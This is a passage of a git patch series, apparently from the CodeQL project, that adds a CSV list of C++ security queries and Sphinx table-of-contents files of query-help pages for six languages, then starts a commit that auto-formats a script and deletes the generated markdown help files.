Bugs\Format\NonConstantFormat.ql,security-extended,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 +ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-extended,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security +ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-extended,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 +ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-extended,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 +ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-extended,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 +ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-extended,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security +ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-extended,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security +ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-extended,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 +ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-extended,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 +ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-extended,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 +ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-extended,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-extended,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-extended,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 +ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-extended,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 +ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-extended,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 +ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-extended,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 +ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-extended,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 +ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-extended,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-extended,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 +ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-extended,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-extended,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 +ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-extended,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 +ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-extended,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 diff --git a/docs/language/query-help/toc-cpp.rst b/docs/language/query-help/toc-cpp.rst new file mode 100644 index 00000000000..3408acca222 --- /dev/null +++ b/docs/language/query-help/toc-cpp.rst @@ -0,0 +1,59 @@ +.. toctree:: + :titlesonly: + + cpp/OffsetUseBeforeRangeCheck + cpp/AuthenticationBypass + cpp/BadAdditionOverflowCheck + cpp/BadlyBoundedWrite + cpp/CgiXss + cpp/AllocaInLoop + cpp/TooFewArguments + cpp/HResultBooleanConversion + cpp/WcharCharConversion + cpp/CleartextSqliteDatabase + cpp/CleartextBufferWrite + cpp/CleartextFileWrite + cpp/ComparisonWithWiderType + cpp/DangerousUseOfCin + cpp/DoNotCreateWorldWritable + cpp/IncorrectNotOperatorUsage + cpp/NewFreeMismatch + cpp/IntMultToLong + cpp/UnsafeCreateProcessCall + cpp/NoSpaceForZeroTerminator + cpp/NonConstantFormat + cpp/SizeCheck2 + cpp/SizeCheck + cpp/TaintedAllocationSize + cpp/PointerOverflow + cpp/StrncpyFlippedArgs + cpp/SnprintfOverflow + cpp/OverrunWrite + cpp/OverrunWriteFloat + cpp/UninitializedLocal + cpp/SuspiciousCallToStrncat + cpp/UnsafeUseOfStrcat + cpp/UnsafeDaclSecurityDescriptor + cpp/SignedOverflowCheck + cpp/OverflowStatic + cpp/SuspiciousSizeof + cpp/SuspiciousAddWithSizeof + cpp/IncorrectPointerScaling + cpp/IncorrectPointerScalingVoid + cpp/TOCTOUFilesystemRace + cpp/WrongNumberOfFormatArguments + cpp/UnboundedWrite + cpp/SqlTainted + cpp/ArithmeticUncontrolled + cpp/TaintedPath + cpp/UncontrolledFormatString + cpp/UncontrolledFormatStringThroughGlobalVar + cpp/UncontrolledProcessOperation + cpp/UnterminatedVarargsCall + cpp/TaintedCondition + cpp/CastArrayPointerArithmetic + cpp/BrokenCryptoAlgorithm + cpp/OpenSslHeartbleed + cpp/DangerousFunctionOverflow + cpp/PotentiallyDangerousFunction + cpp/WrongTypeFormatArguments \ No newline at end of file diff --git a/docs/language/query-help/toc-csharp.rst b/docs/language/query-help/toc-csharp.rst new file mode 100644 index 00000000000..3f8be066531 --- /dev/null +++ b/docs/language/query-help/toc-csharp.rst @@ -0,0 +1,61 @@ +.. toctree:: + :titlesonly: + + csharp/RequireSSL + csharp/ASPNetDirectoryListing + csharp/ZipSlip + csharp/AssemblyPathInjection + csharp/CleartextStorage + csharp/CookieWithOverlyBroadDomain + csharp/CookieWithOverlyBroadPath + csharp/PersistentCookie + csharp/ASPNetDebug + csharp/XSS + csharp/ReDoS + csharp/UnsafeDeserializationUntrustedInput + csharp/DeserializedDelegate + csharp/EmptyPasswordInConfigurationFile + csharp/Encryption using ECB + csharp/ExposureOfPrivateInformation + csharp/AbandonSession + csharp/HardcodedConnectionString + csharp/HardcodedCredentials + csharp/HeaderCheckingDisabled + csharp/CodeInjection + csharp/ExceptionInformationExposure + csharp/ExposureInTransmittedData + csharp/InsecureSQLConnection + csharp/InsecureRandomness + csharp/StoredLDAPInjection + csharp/LDAPInjection + csharp/LogForging + csharp/MissingXFrameOptions + csharp/MissingXMLValidation + csharp/MissingAntiForgeryTokenValidation + csharp/MissingASPNETGlobalErrorHandler + csharp/PasswordInConfigurationFile + csharp/RegexInjection + csharp/ResourceInjection + csharp/SecondOrderSqlInjection + csharp/SqlInjection + csharp/RuntimeChecksBypass + csharp/StoredXPathInjection + csharp/StoredXSS + csharp/ThreadUnsafeICryptoTransformLambda + csharp/ThreadUnsafeICryptoTransform + csharp/UrlRedirect + csharp/CommandInjection + csharp/StoredCommandInjection + csharp/TaintedPath + csharp/UncontrolledFormatString + csharp/UntrustedDataInsecureXml + csharp/LocalUnvalidatedArithmetic + csharp/UseOfFileUpload + csharp/ConditionalBypass + csharp/ValueShadowing + csharp/ValueShadowingServerVariable + csharp/WeakEncryption + csharp/InsufficientKeySize + csharp/InadequateRSAPadding + csharp/XMLInjection + csharp/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-go.rst b/docs/language/query-help/toc-go.rst new file mode 100644 index 00000000000..3e535c41926 --- /dev/null +++ b/docs/language/query-help/toc-go.rst @@ -0,0 +1,25 @@ +.. toctree:: + :titlesonly: + + go/ZipSlip + go/BadRedirectCheck + go/CleartextLogging + go/CommandInjection + go/SqlInjection + go/DisabledCertificateCheck + go/EmailInjection + go/HardcodedCredentials + go/IncompleteUrlSchemeCheck + go/IncompleteHostnameRegexp + go/IncorrectIntegerConversion + go/InsecureTLS + go/MissingRegexpAnchor + go/OpenUrlRedirect + go/StringBreak + go/ReflectedXss + go/AllocationSizeOverflow + go/RequestForgery + go/TaintedPath + go/ConstantOauth2State + go/InsecureHostKeyCallback + go/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-java.rst b/docs/language/query-help/toc-java.rst new file mode 100644 index 00000000000..f90aee9bc4a --- /dev/null +++ b/docs/language/query-help/toc-java.rst @@ -0,0 +1,44 @@ +.. toctree:: + :titlesonly: + + java/ZipSlip + java/ExecUnescaped + java/CleartextStorageCookie + java/CleartextStorageProperties + java/ComparisonWithWiderType + java/XSS + java/UnsafeDeserialization + java/NettyResponseSplitting + java/SpringCSRFProtection + java/ExecRelative + java/InsecureDependencyResolution + java/InsecureCookie + java/ResponseSplitting + java/HardcodedCredentialsApiCall + java/InformationLoss + java/ImproperValidationOfArrayIndex + java/ImproperValidationOfArrayConstruction + java/StackTraceExposure + java/LdapInjection + java/InfiniteLoop + java/SqlTainted + java/SqlUnescaped + java/SocketAuthRace + java/ReadingFromWorldWritableFile + java/XXE + java/IntMultToLong + java/TOCTOURace + java/UrlRedirect + java/ExecTainted + java/ArithmeticUncontrolled + java/TaintedPath + java/UnreleasedLock + java/BrokenCryptoAlgorithm + java/MaybeBrokenCryptoAlgorithm + java/PotentiallyDangerousFunction + java/PredictableSeed + java/ExternallyControlledFormatString + java/ConditionalBypass + java/ArithmeticTainted + java/NumericCastTainted + java/TaintedPermissionsCheck \ No newline at end of file diff --git a/docs/language/query-help/toc-javascript.rst b/docs/language/query-help/toc-javascript.rst new file mode 100644 index 00000000000..2ae1d3f08df --- /dev/null +++ b/docs/language/query-help/toc-javascript.rst @@ -0,0 +1,76 @@ +.. toctree:: + :titlesonly: + + javascript/ZipSlip + javascript/CorsMisconfigurationForCredentials + javascript/CleartextStorage + javascript/CleartextLogging + javascript/ClientSideUrlRedirect + javascript/Xss + javascript/CodeInjection + javascript/BadRandomness + javascript/PostMessageStar + javascript/XssThroughDom + javascript/SqlInjection + javascript/UnsafeDeserialization + javascript/DisablingWebSecurity + javascript/DisablingSce + javascript/DisablingCertificateValidation + javascript/DoubleEscaping + javascript/InsecureDownload + javascript/AllowRunningInsecureContent + javascript/ExceptionXss + javascript/PrivateFileExposure + javascript/FileAccessToHttp + javascript/HardcodedCredentials + javascript/HardcodedDataInterpretedAsCode + javascript/HostHeaderPoisoningInEmailGeneration + javascript/ImproperCodeSanitization + javascript/IncompleteHtmlAttributeSanitization + javascript/IncompleteUrlSchemeCheck + javascript/IncompleteUrlSubstringSanitization + javascript/IncompleteMultiCharacterSanitization + javascript/IncompleteHostnameRegExp + javascript/IncompleteSanitization + javascript/IncorrectSuffixCheck + javascript/IndirectCommandInjection + javascript/ReDoS + javascript/StackTraceExposure + javascript/InsecureUrlWhitelist + javascript/InsecureRandomness + javascript/LoopBoundInjection + javascript/MissingCsrfMiddleware + javascript/MissingRateLimiting + javascript/MissingRegExpAnchor + javascript/HttpToFileAccess + javascript/PasswordInConfigurationFile + javascript/PolynomialReDoS + javascript/TargetBlank + javascript/PrototypePollution + javascript/PrototypePollutionUtility + javascript/ReflectedXss + javascript/RegExpInjection + javascript/RemotePropertyInjection + javascript/IdentityReplacement + javascript/ServerSideUrlRedirect + javascript/ShellCommandInjectionFromEnvironment + javascript/BuildArtifactLeak + javascript/StoredXss + javascript/TypeConfusionThroughParameterTampering + javascript/CommandInjection + javascript/RequestForgery + javascript/TaintedPath + javascript/UselessUseOfCat + javascript/UnsafeDynamicMethodAccess + javascript/UnsafeHtmlExpansion + javascript/UnsafeJQueryPlugin + javascript/UnsafeShellCommandConstruction + javascript/UnvalidatedDynamicMethodCall + javascript/BrokenCryptoAlgorithm + javascript/TaintedFormatString + javascript/InsufficientPasswordHash + javascript/UselessRegExpCharacterEscape + javascript/ConditionalBypass + javascript/Xxe + javascript/XmlBomb + javascript/XpathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-python.rst b/docs/language/query-help/toc-python.rst new file mode 100644 index 00000000000..d664092c900 --- /dev/null +++ b/docs/language/query-help/toc-python.rst @@ -0,0 +1,29 @@ +.. toctree:: + :titlesonly: + + python/UseofInput + python/MissingHostKeyValidation + python/TarSlip + python/BindToAllInterfaces + python/CleartextLogging + python/CleartextStorage + python/CodeInjection + python/InsecureDefaultProtocol + python/UnsafeDeserialization + python/FlaskDebug + python/HardcodedCredentials + python/IncompleteUrlSubstringSanitization + python/IncompleteHostnameRegExp + python/StackTraceExposure + python/InsecureTemporaryFile + python/Jinja2WithoutEscaping + python/WeakFilePermissions + python/ReflectedXss + python/RequestWithoutValidation + python/SqlInjection + python/UrlRedirect + python/CommandInjection + python/PathInjection + python/BrokenCryptoAlgorithm + python/InsecureProtocol + python/WeakCrypto \ No newline at end of file From 47483a8e84ec0837e7e3d3412ef06835cedee482 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 5 Oct 2020 16:44:48 +0100 Subject: [PATCH 03/31] auto format script --- docs/language/query-help-markdown.py | 145 ++++++------ docs/language/query-help/conf.py | 8 +- docs/language/query-help/cpp/AllocaInLoop.md | 53 ----- .../query-help/cpp/ArithmeticUncontrolled.md | 50 ----- .../query-help/cpp/AuthenticationBypass.md | 61 ------ .../cpp/BadAdditionOverflowCheck.md | 46 ---- .../query-help/cpp/BadlyBoundedWrite.md | 42 ---- .../query-help/cpp/BrokenCryptoAlgorithm.md | 46 ---- .../cpp/CastArrayPointerArithmetic.md | 48 ---- docs/language/query-help/cpp/CgiXss.md | 54 ----- .../query-help/cpp/CleartextBufferWrite.md | 45 ---- .../query-help/cpp/CleartextFileWrite.md | 45 ---- .../query-help/cpp/CleartextSqliteDatabase.md | 67 ------ .../query-help/cpp/ComparisonWithWiderType.md | 63 ------ .../cpp/DangerousFunctionOverflow.md | 56 ----- .../query-help/cpp/DangerousUseOfCin.md | 47 ---- .../cpp/DoNotCreateWorldWritable.md | 45 ---- .../cpp/HResultBooleanConversion.md | 42 ---- .../cpp/IncorrectNotOperatorUsage.md | 55 ----- .../query-help/cpp/IncorrectPointerScaling.md | 43 ---- .../cpp/IncorrectPointerScalingVoid.md | 44 ---- docs/language/query-help/cpp/IntMultToLong.md | 40 ---- .../query-help/cpp/NewFreeMismatch.md | 34 --- .../cpp/NoSpaceForZeroTerminator.md | 43 ---- .../query-help/cpp/NonConstantFormat.md | 109 --------- .../cpp/OffsetUseBeforeRangeCheck.md | 58 ----- .../query-help/cpp/OpenSslHeartbleed.md | 60 ----- .../language/query-help/cpp/OverflowStatic.md | 41 ---- docs/language/query-help/cpp/OverrunWrite.md | 45 ---- .../query-help/cpp/OverrunWriteFloat.md | 45 ---- .../query-help/cpp/PointerOverflow.md | 45 ---- .../cpp/PotentiallyDangerousFunction.md | 50 ----- .../query-help/cpp/SignedOverflowCheck.md | 70 ------ docs/language/query-help/cpp/SizeCheck.md | 40 ---- docs/language/query-help/cpp/SizeCheck2.md | 41 ---- .../query-help/cpp/SnprintfOverflow.md | 66 ------ docs/language/query-help/cpp/SqlTainted.md | 43 ---- .../query-help/cpp/StrncpyFlippedArgs.md | 34 --- .../query-help/cpp/SuspiciousAddWithSizeof.md | 43 ---- .../query-help/cpp/SuspiciousCallToStrncat.md | 36 --- .../query-help/cpp/SuspiciousSizeof.md | 32 --- .../query-help/cpp/TOCTOUFilesystemRace.md | 74 ------- .../query-help/cpp/TaintedAllocationSize.md | 41 ---- .../query-help/cpp/TaintedCondition.md | 45 ---- docs/language/query-help/cpp/TaintedPath.md | 61 ------ .../query-help/cpp/TooFewArguments.md | 42 ---- .../language/query-help/cpp/UnboundedWrite.md | 42 ---- .../cpp/UncontrolledFormatString.md | 45 ---- ...ncontrolledFormatStringThroughGlobalVar.md | 56 ----- .../cpp/UncontrolledProcessOperation.md | 46 ---- .../query-help/cpp/UninitializedLocal.md | 61 ------ .../query-help/cpp/UnsafeCreateProcessCall.md | 53 ----- .../cpp/UnsafeDaclSecurityDescriptor.md | 52 ----- .../query-help/cpp/UnsafeUseOfStrcat.md | 43 ---- .../query-help/cpp/UnterminatedVarargsCall.md | 59 ----- .../query-help/cpp/WcharCharConversion.md | 41 ---- .../cpp/WrongNumberOfFormatArguments.md | 36 --- .../cpp/WrongTypeFormatArguments.md | 34 --- .../language/query-help/csharp/ASPNetDebug.md | 56 ----- .../csharp/ASPNetDirectoryListing.md | 48 ---- .../query-help/csharp/AbandonSession.md | 52 ----- .../csharp/AssemblyPathInjection.md | 71 ------ .../query-help/csharp/CleartextStorage.md | 64 ------ .../query-help/csharp/CodeInjection.md | 75 ------- .../query-help/csharp/CommandInjection.md | 45 ---- .../query-help/csharp/ConditionalBypass.md | 54 ----- .../csharp/CookieWithOverlyBroadDomain.md | 55 ----- .../csharp/CookieWithOverlyBroadPath.md | 52 ----- .../query-help/csharp/DeserializedDelegate.md | 44 ---- .../EmptyPasswordInConfigurationFile.md | 22 -- .../query-help/csharp/Encryption using ECB.md | 22 -- .../csharp/ExceptionInformationExposure.md | 65 ------ .../csharp/ExposureInTransmittedData.md | 66 ------ .../csharp/ExposureOfPrivateInformation.md | 44 ---- .../csharp/HardcodedConnectionString.md | 78 ------- .../query-help/csharp/HardcodedCredentials.md | 78 ------- .../csharp/HeaderCheckingDisabled.md | 22 -- .../query-help/csharp/InadequateRSAPadding.md | 23 -- .../query-help/csharp/InsecureRandomness.md | 66 ------ .../csharp/InsecureSQLConnection.md | 50 ----- .../query-help/csharp/InsufficientKeySize.md | 22 -- .../query-help/csharp/LDAPInjection.md | 85 ------- .../csharp/LocalUnvalidatedArithmetic.md | 66 ------ docs/language/query-help/csharp/LogForging.md | 54 ----- .../csharp/MissingASPNETGlobalErrorHandler.md | 71 ------ .../MissingAntiForgeryTokenValidation.md | 54 ----- .../query-help/csharp/MissingXFrameOptions.md | 56 ----- .../query-help/csharp/MissingXMLValidation.md | 72 ------ .../csharp/PasswordInConfigurationFile.md | 23 -- .../query-help/csharp/PersistentCookie.md | 21 -- docs/language/query-help/csharp/ReDoS.md | 57 ----- .../query-help/csharp/RegexInjection.md | 56 ----- docs/language/query-help/csharp/RequireSSL.md | 46 ---- .../query-help/csharp/ResourceInjection.md | 59 ----- .../query-help/csharp/RuntimeChecksBypass.md | 83 ------- .../csharp/SecondOrderSqlInjection.md | 86 -------- .../query-help/csharp/SqlInjection.md | 86 -------- .../csharp/StoredCommandInjection.md | 45 ---- .../query-help/csharp/StoredLDAPInjection.md | 85 ------- .../query-help/csharp/StoredXPathInjection.md | 64 ------ docs/language/query-help/csharp/StoredXSS.md | 43 ---- .../language/query-help/csharp/TaintedPath.md | 61 ------ .../csharp/ThreadUnsafeICryptoTransform.md | 132 ----------- .../ThreadUnsafeICryptoTransformLambda.md | 96 -------- .../csharp/UncontrolledFormatString.md | 47 ---- .../UnsafeDeserializationUntrustedInput.md | 60 ----- .../csharp/UntrustedDataInsecureXml.md | 45 ---- .../language/query-help/csharp/UrlRedirect.md | 50 ----- .../query-help/csharp/UseOfFileUpload.md | 27 --- .../query-help/csharp/ValueShadowing.md | 53 ----- .../csharp/ValueShadowingServerVariable.md | 52 ----- .../query-help/csharp/WeakEncryption.md | 45 ---- .../query-help/csharp/XMLInjection.md | 83 ------- .../query-help/csharp/XPathInjection.md | 64 ------ docs/language/query-help/csharp/XSS.md | 43 ---- docs/language/query-help/csharp/ZipSlip.md | 78 ------- .../query-help/go/AllocationSizeOverflow.md | 78 ------- .../query-help/go/BadRedirectCheck.md | 52 ----- .../query-help/go/CleartextLogging.md | 81 ------- .../query-help/go/CommandInjection.md | 46 ---- .../query-help/go/ConstantOauth2State.md | 96 -------- .../query-help/go/DisabledCertificateCheck.md | 48 ---- docs/language/query-help/go/EmailInjection.md | 66 ------ .../query-help/go/HardcodedCredentials.md | 56 ----- .../query-help/go/IncompleteHostnameRegexp.md | 75 ------- .../query-help/go/IncompleteUrlSchemeCheck.md | 60 ----- .../go/IncorrectIntegerConversion.md | 207 ------------------ .../query-help/go/InsecureHostKeyCallback.md | 87 -------- docs/language/query-help/go/InsecureTLS.md | 84 ------- .../query-help/go/MissingRegexpAnchor.md | 75 ------- .../language/query-help/go/OpenUrlRedirect.md | 71 ------ docs/language/query-help/go/ReflectedXss.md | 82 ------- docs/language/query-help/go/RequestForgery.md | 81 ------- docs/language/query-help/go/SqlInjection.md | 62 ------ docs/language/query-help/go/StringBreak.md | 72 ------ docs/language/query-help/go/TaintedPath.md | 61 ------ docs/language/query-help/go/XPathInjection.md | 65 ------ docs/language/query-help/go/ZipSlip.md | 78 ------- docs/language/query-help/index.rst | 17 +- .../query-help/java/ArithmeticTainted.md | 64 ------ .../query-help/java/ArithmeticUncontrolled.md | 54 ----- .../query-help/java/BrokenCryptoAlgorithm.md | 44 ---- .../query-help/java/CleartextStorageCookie.md | 62 ------ .../java/CleartextStorageProperties.md | 62 ------ .../java/ComparisonWithWiderType.md | 68 ------ .../query-help/java/ConditionalBypass.md | 54 ----- docs/language/query-help/java/ExecRelative.md | 41 ---- docs/language/query-help/java/ExecTainted.md | 42 ---- .../language/query-help/java/ExecUnescaped.md | 51 ----- .../java/ExternallyControlledFormatString.md | 66 ------ .../java/HardcodedCredentialsApiCall.md | 44 ---- .../ImproperValidationOfArrayConstruction.md | 63 ------ .../java/ImproperValidationOfArrayIndex.md | 64 ------ docs/language/query-help/java/InfiniteLoop.md | 48 ---- .../query-help/java/InformationLoss.md | 33 --- .../query-help/java/InsecureCookie.md | 46 ---- .../java/InsecureDependencyResolution.md | 135 ------------ .../language/query-help/java/IntMultToLong.md | 43 ---- .../language/query-help/java/LdapInjection.md | 142 ------------ .../java/MaybeBrokenCryptoAlgorithm.md | 44 ---- .../query-help/java/NettyResponseSplitting.md | 72 ------ .../query-help/java/NumericCastTainted.md | 64 ------ .../java/PotentiallyDangerousFunction.md | 50 ----- .../query-help/java/PredictableSeed.md | 46 ---- .../java/ReadingFromWorldWritableFile.md | 44 ---- .../query-help/java/ResponseSplitting.md | 72 ------ .../query-help/java/SocketAuthRace.md | 49 ----- .../query-help/java/SpringCSRFProtection.md | 48 ---- docs/language/query-help/java/SqlTainted.md | 122 ----------- docs/language/query-help/java/SqlUnescaped.md | 56 ----- .../query-help/java/StackTraceExposure.md | 54 ----- docs/language/query-help/java/TOCTOURace.md | 63 ------ docs/language/query-help/java/TaintedPath.md | 62 ------ .../java/TaintedPermissionsCheck.md | 44 ---- .../query-help/java/UnreleasedLock.md | 42 ---- .../query-help/java/UnsafeDeserialization.md | 59 ----- docs/language/query-help/java/UrlRedirect.md | 43 ---- docs/language/query-help/java/XSS.md | 39 ---- docs/language/query-help/java/XXE.md | 54 ----- docs/language/query-help/java/ZipSlip.md | 57 ----- .../javascript/AllowRunningInsecureContent.md | 37 ---- .../query-help/javascript/BadRandomness.md | 66 ------ .../javascript/BrokenCryptoAlgorithm.md | 43 ---- .../javascript/BuildArtifactLeak.md | 57 ----- .../query-help/javascript/CleartextLogging.md | 66 ------ .../query-help/javascript/CleartextStorage.md | 66 ------ .../javascript/ClientSideUrlRedirect.md | 33 --- .../query-help/javascript/CodeInjection.md | 34 --- .../query-help/javascript/CommandInjection.md | 42 ---- .../javascript/ConditionalBypass.md | 64 ------ .../CorsMisconfigurationForCredentials.md | 78 ------- .../DisablingCertificateValidation.md | 49 ----- .../query-help/javascript/DisablingSce.md | 55 ----- .../javascript/DisablingWebSecurity.md | 37 ---- .../query-help/javascript/DoubleEscaping.md | 73 ------ .../query-help/javascript/ExceptionXss.md | 45 ---- .../query-help/javascript/FileAccessToHttp.md | 42 ---- .../javascript/HardcodedCredentials.md | 44 ---- .../HardcodedDataInterpretedAsCode.md | 41 ---- .../HostHeaderPoisoningInEmailGeneration.md | 77 ------- .../query-help/javascript/HttpToFileAccess.md | 42 ---- .../javascript/IdentityReplacement.md | 38 ---- .../javascript/ImproperCodeSanitization.md | 63 ------ .../javascript/IncompleteHostnameRegExp.md | 47 ---- .../IncompleteHtmlAttributeSanitization.md | 61 ------ .../IncompleteMultiCharacterSanitization.md | 62 ------ .../javascript/IncompleteSanitization.md | 62 ------ .../javascript/IncompleteUrlSchemeCheck.md | 50 ----- .../IncompleteUrlSubstringSanitization.md | 75 ------- .../javascript/IncorrectSuffixCheck.md | 48 ---- .../javascript/IndirectCommandInjection.md | 55 ----- .../query-help/javascript/InsecureDownload.md | 48 ---- .../javascript/InsecureRandomness.md | 58 ----- .../javascript/InsecureUrlWhitelist.md | 49 ----- .../javascript/InsufficientPasswordHash.md | 49 ----- .../javascript/LoopBoundInjection.md | 64 ------ .../javascript/MissingCsrfMiddleware.md | 63 ------ .../javascript/MissingRateLimiting.md | 66 ------ .../javascript/MissingRegExpAnchor.md | 56 ----- .../javascript/PasswordInConfigurationFile.md | 23 -- .../query-help/javascript/PolynomialReDoS.md | 62 ------ .../query-help/javascript/PostMessageStar.md | 46 ---- .../javascript/PrivateFileExposure.md | 47 ---- .../javascript/PrototypePollution.md | 69 ------ .../javascript/PrototypePollutionUtility.md | 80 ------- docs/language/query-help/javascript/ReDoS.md | 48 ---- .../query-help/javascript/ReflectedXss.md | 63 ------ .../query-help/javascript/RegExpInjection.md | 59 ----- .../javascript/RemotePropertyInjection.md | 61 ------ .../query-help/javascript/RequestForgery.md | 69 ------ .../javascript/ServerSideUrlRedirect.md | 52 ----- .../ShellCommandInjectionFromEnvironment.md | 58 ----- .../query-help/javascript/SqlInjection.md | 57 ----- .../javascript/StackTraceExposure.md | 75 ------- .../query-help/javascript/StoredXss.md | 70 ------ .../javascript/TaintedFormatString.md | 52 ----- .../query-help/javascript/TaintedPath.md | 56 ----- .../query-help/javascript/TargetBlank.md | 40 ---- .../TypeConfusionThroughParameterTampering.md | 72 ------ .../javascript/UnsafeDeserialization.md | 52 ----- .../javascript/UnsafeDynamicMethodAccess.md | 71 ------ .../javascript/UnsafeHtmlExpansion.md | 59 ----- .../javascript/UnsafeJQueryPlugin.md | 57 ----- .../UnsafeShellCommandConstruction.md | 53 ----- .../UnvalidatedDynamicMethodCall.md | 112 ---------- .../UselessRegExpCharacterEscape.md | 37 ---- .../query-help/javascript/UselessUseOfCat.md | 51 ----- .../language/query-help/javascript/XmlBomb.md | 62 ------ .../query-help/javascript/XpathInjection.md | 65 ------ docs/language/query-help/javascript/Xss.md | 43 ---- .../query-help/javascript/XssThroughDom.md | 53 ----- docs/language/query-help/javascript/Xxe.md | 53 ----- .../language/query-help/javascript/ZipSlip.md | 68 ------ .../query-help/python/BindToAllInterfaces.md | 44 ---- .../python/BrokenCryptoAlgorithm.md | 49 ----- .../query-help/python/CleartextLogging.md | 49 ----- .../query-help/python/CleartextStorage.md | 49 ----- .../query-help/python/CodeInjection.md | 51 ----- .../query-help/python/CommandInjection.md | 56 ----- docs/language/query-help/python/FlaskDebug.md | 41 ---- .../query-help/python/HardcodedCredentials.md | 65 ------ .../python/IncompleteHostnameRegExp.md | 56 ----- .../IncompleteUrlSubstringSanitization.md | 88 -------- .../python/InsecureDefaultProtocol.md | 44 ---- .../query-help/python/InsecureProtocol.md | 53 ----- .../python/InsecureTemporaryFile.md | 51 ----- .../python/Jinja2WithoutEscaping.md | 59 ----- .../python/MissingHostKeyValidation.md | 49 ----- .../query-help/python/PathInjection.md | 81 ------- .../query-help/python/ReflectedXss.md | 46 ---- .../python/RequestWithoutValidation.md | 49 ----- .../query-help/python/SqlInjection.md | 56 ----- .../query-help/python/StackTraceExposure.md | 58 ----- docs/language/query-help/python/TarSlip.md | 62 ------ .../python/UnsafeDeserialization.md | 59 ----- .../language/query-help/python/UrlRedirect.md | 57 ----- docs/language/query-help/python/UseofInput.md | 22 -- docs/language/query-help/python/WeakCrypto.md | 28 --- .../query-help/python/WeakFilePermissions.md | 22 -- .../query-help/query-lists/query-list.csv | 196 ----------------- docs/language/query-help/toc-cpp.rst | 59 ----- docs/language/query-help/toc-csharp.rst | 61 ------ docs/language/query-help/toc-go.rst | 25 --- docs/language/query-help/toc-java.rst | 44 ---- docs/language/query-help/toc-javascript.rst | 76 ------- docs/language/query-help/toc-python.rst | 29 --- 286 files changed, 98 insertions(+), 16179 deletions(-) delete mode 100644 docs/language/query-help/cpp/AllocaInLoop.md delete mode 100644 docs/language/query-help/cpp/ArithmeticUncontrolled.md delete mode 100644 docs/language/query-help/cpp/AuthenticationBypass.md delete mode 100644 docs/language/query-help/cpp/BadAdditionOverflowCheck.md delete mode 100644 docs/language/query-help/cpp/BadlyBoundedWrite.md delete mode 100644 docs/language/query-help/cpp/BrokenCryptoAlgorithm.md delete mode 100644 